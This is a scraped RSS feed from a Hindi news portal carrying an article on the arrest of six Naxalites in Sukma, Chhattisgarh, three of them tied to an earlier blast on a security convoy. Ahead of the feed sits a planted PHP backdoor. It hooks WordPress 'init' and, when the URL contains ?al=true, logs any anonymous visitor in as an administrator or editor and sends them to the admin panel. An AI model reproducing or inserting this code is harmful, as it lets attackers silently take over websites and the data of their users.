// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Six Naxalites arrested – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 27 Jul 2024 16:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-सुकमा में छह नक्सली गिरफ्तार, तीन ब्लास्ट की घटना में शामिल https://pratyushaashakinayikiran.com/?p=54989 Sat, 27 Jul 2024 16:06:00 +0000 https://pratyushaashakinayikiran.com/?p=54989 सुकमा.

सुकमा जिले में पुलिस के द्वारा चलाए जा रहे अभियान के तहत एक बार फिर से सुरक्षाबलों को बड़ी कामयाबी मिली है। पूवर्ती ब्लास्ट की घटना में शामिल तीन नक्सली सहित छह नक्सलियों को जवानों ने घेराबंदी कर गिरफ्तार किया है। गिरफ्तार नक्सलियों के पास से बड़ी मात्रा में विस्फोटक सामग्री भी बरामद की गई है। एसपी किरण चव्हाण ने बताया कि जगरगुंडा थाना क्षेत्र से तिम्मापुरम इलाके में नक्सलियों के गतिविधियों की सूचना मिल रही थी।

जिसके बाद कोबरा, डीआरजी और एसटीएफ की संयुक्त टीम उस इलाके में सर्च अभियान पर निकली। इस दौरान जवानों को आता देखकर छुपने और भागने की कोशिश कर रहे छह लोगों को घेराबंदी कर पकड़ा गया और पूछताछ में उनकी पहचान की गई। इसके बाद सभी नक्सलियों को न्यायालय के समक्ष पेश कर जेल भेजा गया।

तीन नक्सली पूवर्ती ब्लास्ट की घटना में थे शामिल
गौरतलब है कि बीते दिनों टेकलगुड़ा और पूवर्ती के बीच नक्सलियों ने सुरक्षाबलों के काफिले को निशाना बनाते हुए एक राशन से भारी वाहन को ब्लास्ट कर नुकसान पहुंचाया था, जिसमें कोबरा के दो जवान शहीद हो गए थे। इस घटना में शामिल अब तक 10 से ज्यादा नक्सलियों की गिरफ्तारी की जा चुकी है। तिम्मापुरम के जंगलों से गिरफ्तार किए गए छह नक्सलियों में से तीन नक्सली भी इस घटना में शामिल रह चुके हैं।

अंदरूनी इलाकों तक पहुंच रहे जवान सिमट रहे नक्सली
एक समय था जब जवानों की पहुंच सीमित हुआ करती थी, क्योंकि नक्सली भौगोलिक परिस्थितियों का फायदा उठाकर जवानों को बड़ा नुकसान पहुंचाते थे। लेकिन समय के साथ अंदरूनी इलाकों में कैंपों की स्थापना हुई और सूचना तंत्र को मजबूत किया गया। इसके बाद जवान सुकमा के उन इलाकों तक ऑपरेशन कर रहे हैं, जहां पहुंचने की कल्पना नहीं की जा सकती थी। यही वजह है कि अब सुकमा के अंदरूनी इलाकों में नक्सली सिमटते नजर आ रहे हैं। बड़ी संख्या में नक्सलियों की गिरफ्तारी हो रही है और इससे प्रभावित होकर नक्सली भी आत्मसमर्पण करने पहुंच रहे हैं।

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